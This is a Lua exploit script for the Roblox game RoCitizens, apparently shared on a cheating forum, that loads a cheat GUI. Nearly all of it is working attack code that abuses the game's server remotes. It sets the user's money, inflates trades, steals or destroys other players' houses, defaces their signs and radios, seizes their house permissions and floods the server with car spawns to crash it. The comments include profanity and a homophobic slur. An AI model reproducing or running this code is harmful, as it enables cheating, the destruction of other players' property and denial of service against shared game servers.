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- -- Made by FalconPunch: https://v3rmillion.net/member.php?action=profile&uid=415071
- -- Don't modify the script to steal money, thats fucked up beyond belief you fucking Satan's child
- -- This script is very buggy on Shitapse.
- --[[
- ToDo:
- 1) Option to prevent other exploiters using this gui from destroying your house.
- ]]
- local Obj = nil
- local Succ = pcall(function()
- Obj = game:GetObjects("rbxassetid://1315335901")
- Obj[1].Parent = game.CoreGui
- end)
- if not Succ or Obj == nil then
- Obj = getobjects(game, "rbxassetid://1315335901")
- Obj[1].Parent = game.CoreGui
- end
- if Obj == nil then
- error("YOUR EXPLOIT CAN'T USE GETOBJECTS.")
- end
- local serv = setmetatable({}, {
- __index = function(t, k)
- return game:GetService(k)
- end
- })
- local Plrs = serv.Players
- local Run = serv.RunService
- local RepStor = serv.ReplicatedStorage
- local CoreGui = serv.CoreGui
- local UserInput = serv.UserInputService
- local Http = serv.HttpService
- if game.PlaceId ~= 137877687 then
- local Hint = Instance.new("Hint", CoreGui)
- Hint.Text = "You fucking idiot, you need to be playing RoCitizens for this GUI"
- wait(10)
- Hint:Destroy()
- script.Parent:Destroy()
- end
- local MyPlr = Plrs.LocalPlayer
- local MyChar = MyPlr.Character
- warn("Waiting for MyMoney")
- local MyMoney do
- repeat wait() until MyPlr:FindFirstChild("Money")
- end
- MyMoney = MyPlr.Money
- warn("Waiting for ChangMoney")
- local ChangeMoney do
- repeat wait() until MyPlr:FindFirstChild("ChangeMoney")
- end
- ChangeMoney = MyPlr.ChangeMoney
- local RoCitizensGUI = CoreGui.RoCitizens
- local ComRelay = workspace.CommunicationRelays
- local CTrades = workspace.CurrentTrades
- local SelectedPlayer = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
- RoCitizensGUI.Main.Players.Title.Text = "Current Selected Player: " .. SelectedPlayer.Name
- local PermsExploit = true
- local ExplosivesExploit = true
- local LockpickExploit = true
- local AntiHouseDestroy = true
- local AntiHouseStealSign = true
- function format_int(Num)
- local i, j, minus, int, fraction = tostring(Num):find("([-]?)(%d+)([.]?%d*)")
- int = int:reverse():gsub("(%d%d%d)", "%1,")
- return minus .. int:reverse():gsub("^,", "") .. fraction
- end
- function FindPlayer(Str)
- local Plr = { }
- for _, v in pairs(Plrs:GetPlayers()) do
- if string.lower(string.sub(v.Name, 1, string.len(Str))) == string.lower(Str) then
- table.insert(Plr, v)
- end
- end
- if #Plr == 1 then
- return Plr[1]
- else
- return nil
- end
- end
- function FindPlayersWithAHouse()
- local Players = { }
- local Properties = { }
- for _, v in next, workspace:GetChildren() do
- if v:IsA("Model") and v.Name == "Property" then
- table.insert(Properties, v:GetChildren())
- end
- end
- for _, v in next, Properties do
- local Find = v[1]:FindFirstChild("Owner")
- if Find then
- local FindPlr = Plrs:FindFirstChild(Find.Value)
- if FindPlr and FindPlr:IsA("Player") then
- table.insert(Players, FindPlr)
- end
- end
- end
- if #Players <= 0 then
- Players = nil
- end
- return Players
- end
- function FindEmptyProperty(Prop)
- local Properties = { }
- for _, v in next, workspace:GetChildren() do
- if v.Name == "Property" then
- local House = v:GetChildren()
- local GetPos = Vector3.new(Prop[1], Prop[2], Prop[3])
- if (House[1].Base.Position - GetPos).magnitude < 5 then
- local Find = House[1]:FindFirstChild("Owner")
- if not Find then
- table.insert(Properties, v)
- else
- workspace.CommunicationRelays.House.ResetProperty:FireServer(House[1])
- table.insert(Properties, v)
- end
- end
- end
- end
- return Properties
- end
- function FindHouse(Plr)
- local Properties = { }
- for _, v in next, workspace:GetChildren() do
- if v:IsA("Model") and v.Name == "Property" then
- table.insert(Properties, v:GetChildren())
- end
- end
- for _, v in next, Properties do
- local Find = v[1]:FindFirstChild("Owner")
- if Find then
- if Find.Value == Plr.Name then
- return v[1]
- end
- end
- end
- return nil
- end
- function GeneratePermsTable(Plr)
- local Tab = { }
- for _, v in next, Plrs:GetPlayers() do
- if v ~= Plr and v ~= MyPlr then
- Tab[v.Name] = {["Ban"] = false, ["Paint"] = false, ["Door"] = false}
- elseif v ~= Plr and v == MyPlr then
- Tab[v.Name] = {["Ban"] = false, ["Paint"] = true, ["Door"] = true}
- end
- end
- return Tab
- end
- function FlipLightSwitches(House)
- local StaticAssets = House.StaticAssets
- for _, v in next, StaticAssets:GetDescendants() do
- if v.Name == "SwitchV2" then
- ComRelay.Interaction.LightInteractV2:FireServer(v)
- end
- end
- end
- function OpenDoors(House)
- local StaticAssets = House.StaticAssets
- for _, v in next, StaticAssets:GetDescendants() do
- if v.Name == "Door" or v.Name == "GlassDoor" then
- ComRelay.Interaction.DoorInteract:FireServer(v)
- end
- end
- end
- function SendMessage(Plr, Msg) --ez
- ComRelay.Interclient.SendMessage:InvokeServer(Msg, Plr.Name)
- end
- function BuildHouse(Plr)
- local Building = true
- local Hint = Instance.new("Hint", CoreGui)
- Hint.Text = "Stealing house... This could take a while... and you might lag...)"
- SendMessage(Plr, "I stole your house. To get it back: reset character, and spawn it in again. I'm Sowwy. :(")
- local GetHouse = FindHouse(Plr)
- if not GetHouse then
- Hint.Text = "That player doesn't have a house!"
- wait(7)
- Hint:Destroy()
- return
- end
- MyPlr.Character.HumanoidRootPart.CFrame = CFrame.new(GetHouse.PrimaryPart.Position + Vector3.new(0, 5, 0))
- repeat wait() until GetHouse.StaticAssets:FindFirstChild("Furniture")
- local GetFurniture = GetHouse.StaticAssets:FindFirstChild("Furniture")
- local TempFurniture = Instance.new("Folder", MyPlr)
- TempFurniture.Name = "TempFurniture"
- local GetColors = GetHouse.AestheticChanger.UpdateRequested
- local Table = { }
- Table["HouseType"] = GetHouse.Name
- Table["Furniture"] = { }
- Table["Variables"] = { }
- for i, v in next, GetFurniture:GetChildren() do
- local Clo = v:clone()
- Clo.Parent = TempFurniture
- end
- for i, v in next, GetColors:GetChildren() do
- Table["Variables"][v.Name] = v.Value
- end
- ComRelay.House.ResetProperty:FireServer(GetHouse)
- ComRelay.HomePurchase.House:InvokeServer(GetHouse.Parent, Table)
- AntiHouseDestroy = false
- RoCitizensGUI.Main.Functions.Func16.AntiD.Text = "OFF"
- RoCitizensGUI.Main.Functions.Func16.AntiD.TextColor3 = Color3.new(1, 0, 0)
- GetHouse = FindHouse(MyPlr)
- for i, v in next, TempFurniture:GetChildren() do
- Hint.Text = "Stealing house... placing furniture " .. i .. "/" .. #TempFurniture:GetChildren()
- local Item = v:FindFirstChild("Item")
- local Color = v:FindFirstChild("Color")
- if Item and Color then
- local Furn = workspace.CommunicationRelays.House.PlaceFurniture:InvokeServer(v.Name, v.PrimaryPart.CFrame, GetHouse, Item.Value, Color.Value)
- if v.Name == "SS_Wooden Sign" then
- workspace.CommunicationRelays.Interaction.EditSign:FireServer(Furn, v.Plaque.SurfaceGui.TextLabel.Text)
- end
- else
- local Color1 = v:FindFirstChild("Color1")
- local Color2 = v:FindFirstChild("Color2")
- local Display = v:FindFirstChild("Display")
- if Color1 and Color2 and Display then
- workspace.CommunicationRelays.House.PlaceFurniture:InvokeServer(v.Name, v.PrimaryPart.CFrame, GetHouse, Item.Value, {["Display"] = Display.Value, ["Color1"] = Color1.Value, ["Color2"] = Color2.Value})
- end
- end
- game:GetService("RunService").RenderStepped:wait()
- end
- TempFurniture:Destroy()
- MyPlr.PlayerGui.Main.MyHouse.Value = GetHouse
- FlipLightSwitches(GetHouse)
- Building = false
- Hint.Text = "House copied, and spawned. Place some furniture to save it to server."
- wait(10)
- Hint:Destroy()
- end
- function DestroyHouse(Plr, House)
- if House == nil then
- House = FindHouse(Plr)
- end
- if House ~= nil then
- MyPlr.Character.HumanoidRootPart.CFrame = CFrame.new(House.Base.Position + Vector3.new(0, 5, 0))
- repeat
- MyPlr.Character.HumanoidRootPart.CFrame = CFrame.new(House.Base.Position + Vector3.new(0, 5, 0))
- Run.RenderStepped:wait()
- until House.StaticAssets:FindFirstChild("Furniture")
- local Furn = House.StaticAssets.Furniture
- for _, v in next, Furn:GetChildren() do
- if v.Name == "SS_Wooden Sign" then
- if v.Plaque.SurfaceGui.TextLabel.Text == "can't steal house" then
- local Hint = Instance.new("Hint", CoreGui)
- Hint.Text = "CANNOT DESTROY " .. Plr.Name .. "'s HOUSE THEIR ALSO USING THIS GUI <3"
- wait(10)
- Hint:Destroy()
- return
- end
- end
- end
- ComRelay.House.ResetProperty:FireServer(House)
- local Hint = Instance.new("Hint", CoreGui)
- Hint.Text = "Destroyed: " .. SelectedPlayer.Name .. "'s house. You fucking dick."
- wait(10)
- Hint:Destroy()
- if Plr == MyPlr then
- MyPlr.PlayerGui.Main.MyHouse.Value = nil
- end
- end
- end
- function DonateExploit(Plr, Amount)
- local Hint = Instance.new("Hint", CoreGui)
- Hint.Text = "Sent " .. Plr.Name .. " a trade request. Awaiting response..."
- if Plr.Money.Value == Amount or Plr.Money.Value > Amount then
- Hint.Text = "Unable to trade, " .. Plr.Name .. " already has that amount of money!"
- wait(7)
- Hint:Destroy()
- else
- local Response, TradeId = ComRelay.Interclient.RequestTrade:InvokeServer(Plr.Name)
- if Response and Response == "Accept" then
- Hint.Text = "Trade accepted, and hacked donation amount awaiting " .. Plr.Name .. "'s response."
- local Math = (Amount - Plr.Money.Value)
- ComRelay.Interclient.TradeStart:InvokeServer(Plr.Name, TradeId)
- ComRelay.Interclient.TradeUpdate:InvokeServer(TradeId, Math, "Money")
- repeat wait() until CTrades:FindFirstChild(TradeId)
- repeat
- ComRelay.Interclient.TradeAccept:FireServer(TradeId)
- wait(1)
- until not CTrades:FindFirstChild(TradeId)
- Hint.Text = "Sent " .. Plr.Name .. " $" .. format_int(Math)
- wait(5)
- Hint:Destroy()
- elseif Response == "Busy" then
- Hint.Text = Plr.Name .. " is busy with another trade."
- wait(6)
- Hint:Destroy()
- else
- Hint.Text = Plr.Name .. " declined trade. Money not sent."
- wait(5)
- Hint:Destroy()
- end
- end
- end
- function StealHouse()
- local IHaveAHouse = FindHouse(MyPlr)
- if IHaveAHouse then
- DestroyHouse(MyPlr, IHaveAHouse)
- end
- BuildHouse(SelectedPlayer)
- end
- function EquipItem(Item)
- ComRelay.Character.ItemEquip:FireServer("JobAssets", Item, Item)
- end
- function SaveHouse(HouseName)
- local GetHouse = FindHouse(SelectedPlayer)
- if not GetHouse then
- return
- end
- MyChar.HumanoidRootPart.CFrame = CFrame.new(GetHouse.PrimaryPart.Position + Vector3.new(0, 5, 0))
- repeat
- MyChar.HumanoidRootPart.CFrame = CFrame.new(GetHouse.PrimaryPart.Position + Vector3.new(0, 5, 0))
- wait()
- until GetHouse.StaticAssets:FindFirstChild("Furniture")
- local Furn = GetHouse.StaticAssets.Furniture
- local Colors = GetHouse.AestheticChanger.UpdateRequested
- local SaveData = { }
- SaveData["HouseType"] = GetHouse.Name
- SaveData["Furniture"] = { } -- Going to be nil.
- SaveData["Variables"] = { }
- SaveData["FurnData"] = { }
- SaveData["Prop"] = {GetHouse.Base.Position.X, GetHouse.Base.Position.Y, GetHouse.Base.Position.Z}
- for i, v in next, Furn:GetChildren() do
- SaveData["FurnData"][v.Name .. i] = { }
- local Item, Color = v:FindFirstChild("Item"), v:FindFirstChild("Color")
- if Item and Color then
- SaveData["FurnData"][v.Name .. i]["Name"] = v.Name
- SaveData["FurnData"][v.Name .. i]["Item"] = Item.Value
- SaveData["FurnData"][v.Name .. i]["Color"] = Color.Value
- SaveData["FurnData"][v.Name .. i]["CFrame"] = {v.PrimaryPart.CFrame:components()}
- if v.Name == "SS_Wooden Sign" then
- SaveData["FurnData"][v.Name .. i]["Text"] = v.Plaque.SurfaceGui.TextLabel.Text
- end
- else
- local Color1 = v:FindFirstChild("Color1")
- local Color2 = v:FindFirstChild("Color2")
- local Display = v:FindFirstChild("Display")
- local Item = v:FindFirstChild("Item")
- if Color1 and Color2 and Display and Item then
- SaveData["FurnData"][v.Name .. i]["Item"] = Item.Value
- SaveData["FurnData"][v.Name .. i]["Color1"] = Color1.Value
- SaveData["FurnData"][v.Name .. i]["Color2"] = Color2.Value
- SaveData["FurnData"][v.Name .. i]["Display"] = Display.Value
- SaveData["FurnData"][v.Name .. i]["CFrame"] = {v.PrimaryPart.CFrame:components()}
- end
- end
- end
- for _, v in next, Colors:GetChildren() do
- SaveData["Variables"][v.Name] = v.Value
- end
- pcall(function() writefile(HouseName .. ".txt", Http:JSONEncode(SaveData)) end)
- pcall(function() Synapse:WriteFile(HouseName .. ".txt", Http:JSONEncode(SaveData)) end)
- local hint = Instance.new("Hint", game.CoreGui)
- hint.Text = "House Saved to file: " .. HouseName
- wait(5)
- hint:Destroy()
- end
- function LoadHouse(HouseName)
- local Hint = Instance.new("Hint", CoreGui)
- Hint.Text = "Loading house: " .. HouseName
- local HouseData = nil
- local Succ = pcall(function() HouseData = readfile(HouseName .. ".txt") end)
- if not Succ then
- local Succ2 = pcall(function() HouseData = readfile(HouseName .. ".txt") end)
- if not Succ2 then
- Hint:Destroy()
- return
- end
- end
- HouseData = Http:JSONDecode(HouseData)
- local GetAProperty = FindEmptyProperty(HouseData.Prop)
- if #GetAProperty > 1 then
- GetAProperty = GetAProperty[math.random(1, #GetAProperty)]
- else
- GetAProperty = GetAProperty[1]
- end
- if GetAProperty == nil then
- return
- end
- local GetHouse = FindHouse(MyPlr)
- if GetHouse then
- ComRelay.House.ResetProperty:FireServer(GetHouse)
- AntiHouseDestroy = false
- RoCitizensGUI.Main.Functions.Func16.AntiD.Text = "OFF"
- RoCitizensGUI.Main.Functions.Func16.AntiD.TextColor3 = Color3.new(1, 0, 0)
- end
- workspace.CommunicationRelays.HomePurchase.House:InvokeServer(GetAProperty, {["HouseType"] = HouseData["HouseType"], ["Furniture"] = { }, ["Variables"] = HouseData["Variables"]})
- wait(0.5)
- GetHouse = FindHouse(MyPlr)
- local Num = 1
- for i, v in next, HouseData.FurnData do
- Hint.Text = "Loading house: " .. HouseName .. " " .. Num .. "/" .. #HouseData.FurnData
- if v.Color ~= nil then
- local C = CFrame.new(v.CFrame[1], v.CFrame[2], v.CFrame[3], v.CFrame[4], v.CFrame[5], v.CFrame[6], v.CFrame[7], v.CFrame[8], v.CFrame[9], v.CFrame[10], v.CFrame[11], v.CFrame[12])
- local sexy_bitch = workspace.CommunicationRelays.House.PlaceFurniture:InvokeServer(v.Name, C, GetHouse, v.Item, v.Color)
- if sexy_bitch.Name == "SS_Wooden Sign" then
- ComRelay.Interaction.EditSign:FireServer(sexy_bitch, v.Text)
- end
- else
- local C = CFrame.new(v.CFrame[1], v.CFrame[2], v.CFrame[3], v.CFrame[4], v.CFrame[5], v.CFrame[6], v.CFrame[7], v.CFrame[8], v.CFrame[9], v.CFrame[10], v.CFrame[11], v.CFrame[12])
- ComRelay.House.PlaceFurniture:InvokeServer(v.Name, C, GetHouse, v.Item, {["Display"] = v.Display, ["Color1"] = v.Color1, ["Color2"] = v.Color2})
- end
- Num = Num + 1
- end
- MyPlr.PlayerGui.Main.MyHouse.Value = GetHouse
- MyChar.HumanoidRootPart.CFrame = CFrame.new(GetHouse.PrimaryPart.Position + Vector3.new(0, 5, 0))
- Hint.Text = "House loaded. :)"
- wait(5)
- Hint:Destroy()
- end
- RoCitizensGUI.Main.Players.Players.PlayerBOX.FocusLost:connect(function()
- local Plr = FindPlayer(RoCitizensGUI.Main.Players.Players.PlayerBOX.Text)
- if Plr then
- SelectedPlayer = Plr
- RoCitizensGUI.Main.Players.Players.PlayerBOX.Text = Plr.Name
- RoCitizensGUI.Main.Players.Title.Text = "Current Selected Player: " .. Plr.Name
- else
- RoCitizensGUI.Main.Players.Players.PlayerBOX.Text = "Enter Player Name"
- end
- end)
- RoCitizensGUI.Main.Players.Players.AllPlayers.MouseButton1Click:connect(function()
- SelectedPlayer = "Everyone"
- RoCitizensGUI.Main.Players.Title.Text = "Current Selected Player: Everyone"
- end)
- RoCitizensGUI.Main.Functions.Func3.Teleport.MouseButton1Click:connect(function()
- local MyChar = MyPlr.Character
- local TheirChar = nil
- if SelectedPlayer ~= "Everyone" then
- TheirChar = SelectedPlayer.Character
- if MyChar and TheirChar then
- local MyTor = MyChar.HumanoidRootPart
- local TheirTor = TheirChar.HumanoidRootPart
- MyTor.CFrame = TheirTor.CFrame * CFrame.new(Vector3.new(0, 0, 2))
- end
- else
- local Hint = Instance.new("Hint", CoreGui)
- Hint.Text = "Selected Player cannot be everyone!"
- wait(5)
- Hint:Destroy()
- end
- end)
- RoCitizensGUI.Main.Functions.Func1.MoneyBox.FocusLost:connect(function()
- local Num = tonumber(RoCitizensGUI.Main.Functions.Func1.MoneyBox.Text) or 0
- if Num > 2147483647 then
- Num = 2147483647
- end
- if Num < -2147483647 then
- Num = -2147483647
- end
- RoCitizensGUI.Main.Functions.Func1.MoneyVal.Value = Num
- RoCitizensGUI.Main.Functions.Func1.MoneyBox.Text = "$" .. format_int(Num)
- end)
- RoCitizensGUI.Main.Functions.Func2.MoneyBox.FocusLost:connect(function()
- local Num = tonumber(RoCitizensGUI.Main.Functions.Func2.MoneyBox.Text) or 0
- if Num > 2147483647 then
- Num = 2147483647
- end
- if Num < 0 then -- Don't be a fucking dick head faggot.
- Num = 1
- end
- RoCitizensGUI.Main.Functions.Func2.MoneyVal.Value = Num
- RoCitizensGUI.Main.Functions.Func2.MoneyBox.Text = "$" .. format_int(Num)
- end)
- RoCitizensGUI.Main.Functions.Func1.SetMoney.MouseButton1Click:connect(function()
- local Math = RoCitizensGUI.Main.Functions.Func1.MoneyVal.Value - MyMoney.Value
- ChangeMoney:Fire(Math)
- end)
- RoCitizensGUI.Main.Functions.Func2.SendMoney.MouseButton1Click:connect(function()
- if SelectedPlayer ~= "Everyone" and SelectedPlayer ~= MyPlr then
- DonateExploit(SelectedPlayer, RoCitizensGUI.Main.Functions.Func2.MoneyVal.Value)
- else
- for _, v in next, Plrs:GetPlayers() do
- if v ~= MyPlr then
- if v:FindFirstChild("Money") then
- DonateExploit(v, RoCitizensGUI.Main.Functions.Func2.MoneyVal.Value)
- end
- end
- end
- end
- end)
- RoCitizensGUI.Main.Functions.Func4.Teleport.MouseButton1Click:connect(function()
- if SelectedPlayer ~= "Everyone" and SelectedPlayer ~= MyPlr then
- StealHouse()
- else
- local Hint = Instance.new("Hint", CoreGui)
- Hint.Text = "Cannot steal everyone's house!"
- wait(5)
- Hint:Destroy()
- end
- end)
- RoCitizensGUI.Main.Functions.Func5.DestroyBut.MouseButton1Click:connect(function()
- DestroyHouse(SelectedPlayer)
- end)
- RoCitizensGUI.Main.Functions.Func6.Change.MouseButton1Click:connect(function()
- local id = tonumber(RoCitizensGUI.Main.Functions.Func6.AudioBox.Text) or 856173428
- local MyChar = MyPlr.Character
- local MyTor = MyChar.HumanoidRootPart
- local SavePos = MyTor.CFrame
- local GetHousePlrs = FindPlayersWithAHouse()
- for _, v in next, GetHousePlrs do
- local TheirHouse = FindHouse(v)
- if TheirHouse then
- MyTor.CFrame = CFrame.new(TheirHouse.Base.Position + Vector3.new(0, 6, 0))
- repeat
- if not TheirHouse:FindFirstChild("Owner") then
- break
- end
- MyTor.CFrame = CFrame.new(TheirHouse.Base.Position + Vector3.new(0, 6, 0))
- Run.RenderStepped:wait()
- until TheirHouse.StaticAssets:FindFirstChild("Furniture")
- if not TheirHouse:FindFirstChild("Owner") then
- return
- end
- for _, vv in next, TheirHouse.StaticAssets.Furniture:GetChildren() do
- if vv.Name:find("VC_Radio") or vv.Name:find("VC_Stereo") then
- ComRelay.Interaction.ChangeSound:FireServer(vv, tostring(id))
- game.StarterGui.RoRadio.RemoveSystem:Fire(vv)
- end
- end
- end
- end
- MyTor.CFrame = SavePos
- end)
- RoCitizensGUI.Main.Functions.Func14.SignsB.MouseButton1Click:connect(function()
- local MyChar = MyPlr.Character
- local MyTor = MyChar.HumanoidRootPart
- local SavePos = MyTor.CFrame
- local GetHousePlrs = FindPlayersWithAHouse()
- for _, v in next, GetHousePlrs do
- local TheirHouse = FindHouse(v)
- if TheirHouse then
- MyTor.CFrame = CFrame.new(TheirHouse.Base.Position + Vector3.new(0, 6, 0))
- repeat
- if not TheirHouse:FindFirstChild("Owner") then
- break
- end
- MyTor.CFrame = CFrame.new(TheirHouse.Base.Position + Vector3.new(0, 6, 0))
- Run.RenderStepped:wait()
- until TheirHouse.StaticAssets:FindFirstChild("Furniture")
- if not TheirHouse:FindFirstChild("Owner") then
- return
- end
- for _, vv in next, TheirHouse.StaticAssets.Furniture:GetChildren() do
- if vv.Name == "SS_Wooden Sign" then
- ComRelay.Interaction.EditSign:FireServer(vv, RoCitizensGUI.Main.Functions.Func14.SignsText.Text)
- end
- end
- end
- end
- MyTor.CFrame = SavePos
- end)
- RoCitizensGUI.Main.Functions.Func7.Permissions.MouseButton1Click:connect(function()
- PermsExploit = not PermsExploit
- if PermsExploit then
- RoCitizensGUI.Main.Functions.Func7.Permissions.Text = "ON"
- RoCitizensGUI.Main.Functions.Func7.Permissions.TextColor3 = Color3.new(0, 1, 0)
- else
- RoCitizensGUI.Main.Functions.Func7.Permissions.Text = "OFF"
- RoCitizensGUI.Main.Functions.Func7.Permissions.TextColor3 = Color3.new(1, 0, 0)
- end
- end)
- RoCitizensGUI.Main.Functions.Func8.Lockpick.MouseButton1Click:connect(function()
- LockpickExploit = not LockpickExploit
- ExplosivesExploit = false
- if LockpickExploit then
- RoCitizensGUI.Main.Functions.Func8.Lockpick.Text = "ON"
- RoCitizensGUI.Main.Functions.Func8.Lockpick.TextColor3 = Color3.new(0, 1, 0)
- RoCitizensGUI.Main.Functions.Func9.Explosives.Text = "OFF"
- RoCitizensGUI.Main.Functions.Func9.Explosives.TextColor3 = Color3.new(1, 0, 0)
- else
- RoCitizensGUI.Main.Functions.Func8.Lockpick.Text = "OFF"
- RoCitizensGUI.Main.Functions.Func8.Lockpick.TextColor3 = Color3.new(1, 0, 0)
- end
- end)
- RoCitizensGUI.Main.Functions.Func9.Explosives.MouseButton1Click:connect(function()
- ExplosivesExploit = not ExplosivesExploit
- LockpickExploit = false
- if ExplosivesExploit then
- RoCitizensGUI.Main.Functions.Func9.Explosives.Text = "ON"
- RoCitizensGUI.Main.Functions.Func9.Explosives.TextColor3 = Color3.new(0, 1, 0)
- RoCitizensGUI.Main.Functions.Func8.Lockpick.Text = "OFF"
- RoCitizensGUI.Main.Functions.Func8.Lockpick.TextColor3 = Color3.new(1, 0, 0)
- else
- RoCitizensGUI.Main.Functions.Func9.Explosives.Text = "OFF"
- RoCitizensGUI.Main.Functions.Func9.Explosives.TextColor3 = Color3.new(1, 0, 0)
- end
- end)
- RoCitizensGUI.Main.Functions.Func10.Clothes.MouseButton1Click:connect(function()
- for _, v in next, RepStor.Shirt:GetChildren() do
- MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name)
- end
- for _, v in next, RepStor.Pants:GetChildren() do
- MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name)
- end
- for _, v in next, RepStor.Hair:GetChildren() do
- MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name)
- end
- for _, v in next, RepStor.Hat:GetChildren() do
- MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name)
- end
- for _, v in next, RepStor.Glasses:GetChildren() do
- MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name)
- end
- end)
- RoCitizensGUI.Main.Functions.Func11.Furniture.MouseButton1Click:connect(function()
- local FurnGUI = MyPlr.PlayerGui.Main.Field.Panel2.Inventory.FurnitureFrame
- for _, v in next, RepStor.Furniture:GetChildren() do
- local Clo = v:clone()
- Clo.Parent = FurnGUI
- Clo.Visible = true
- print(Clo:GetFullName())
- end
- end)
- RoCitizensGUI.Main.Functions.Func12.HouseName.ClearTextOnFocus = false
- RoCitizensGUI.Main.Functions.Func12.HouseSave.MouseButton1Click:connect(function()
- SaveHouse(RoCitizensGUI.Main.Functions.Func12.HouseName.Text)
- end)
- RoCitizensGUI.Main.Functions.Func13.HouseName.ClearTextOnFocus = false
- RoCitizensGUI.Main.Functions.Func13.HouseLoad.MouseButton1Click:connect(function()
- LoadHouse(RoCitizensGUI.Main.Functions.Func13.HouseName.Text)
- end)
- RoCitizensGUI.Main.Functions.Func15.CrashB.MouseButton1Click:connect(function()
- local Hint = Instance.new("Hint", CoreGui)
- Hint.Text = "May take a few minutes to completely crash the server."
- for i = 0, 5 do
- Run:BindToRenderStep("HAX" .. i, Enum.RenderPriority.First.Value-1, function()
- ComRelay.Car.SpawnCar:InvokeServer({["SpawnLocation"] = "Dealership", ["CurrentSpecs"] = {["Hood"] = "Standard", ["Spoiler"] = "None", ["SpoilerColor"] = "Mid gray", ["PrimaryColor"] = "Medium blue", ["SkirtsColor"] = "Mid gray", ["Price"] = 4400, ["Initiate"] = false, ["Skirts"] = "None", ["Frame"] = "Intrepid", ["SecondaryColor"] = "Medium stone grey", ["RimColor"] = "Medium stone grey"}})
- end)
- end
- end)
- RoCitizensGUI.Main.Functions.Func16.AntiD.MouseButton1Click:connect(function()
- AntiHouseDestroy = not AntiHouseDestroy
- if AntiHouseDestroy then
- local GetHouse = FindHouse(MyPlr)
- if not GetHouse then
- return
- end
- -- v.Name, C, GetHouse, v.Item, v.Color
- local Furn = RepStor.FurnitureModels["SS_Wooden Sign"]
- AntiHouseStealSign = ComRelay.House.PlaceFurniture:InvokeServer(Furn.Name, CFrame.new(Vector3.new(0, -5, 0)), GetHouse, "Splinter Sale Wooden Sign", "Reddish brown")
- ComRelay.Interaction.EditSign:FireServer(AntiHouseStealSign, "can't steal house")
- local Hint = Instance.new("Hint", CoreGui)
- Hint.Text = "DO NOT DESTROY THE SIGN THAT WAS JUST SPAWNED IN."
- RoCitizensGUI.Main.Functions.Func16.AntiD.Text = "ON"
- RoCitizensGUI.Main.Functions.Func16.AntiD.TextColor3 = Color3.new(0, 1, 0)
- wait(8)
- Hint:Destroy()
- else
- ComRelay.House.RemoveFurniture:InvokeServer(AntiHouseStealSign)
- AntiHouseStealSign = nil
- RoCitizensGUI.Main.Functions.Func16.AntiD.Text = "OFF"
- RoCitizensGUI.Main.Functions.Func16.AntiD.TextColor3 = Color3.new(1, 0, 0)
- end
- end)
- UserInput.InputBegan:connect(function(input, ingui)
- if not ingui then
- if input.UserInputType == Enum.UserInputType.Keyboard then
- if input.KeyCode == Enum.KeyCode.P then
- RoCitizensGUI.Main.Visible = not RoCitizensGUI.Main.Visible
- end
- end
- end
- end)
- Plrs.PlayerRemoving:connect(function(Plr)
- if Plr == SelectedPlayer then
- SelectedPlayer = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
- RoCitizensGUI.Main.Players.Title.Text = "Current Selected Player: " .. SelectedPlayer.Name
- end
- end)
- coroutine.resume(coroutine.create(function()
- while true do
- if PermsExploit then
- for _, v in next, Plrs:GetPlayers() do
- if v ~= MyPlr then
- local House = FindHouse(v)
- if House then
- ComRelay.House.SetPermissions:FireServer(GeneratePermsTable(v), House)
- end
- end
- Run.RenderStepped:wait()
- end
- end
- if LockpickExploit then
- EquipItem("Lock Kit")
- end
- if ExplosivesExploit then
- EquipItem("Bomb")
- end
- wait(1)
- end
- end))
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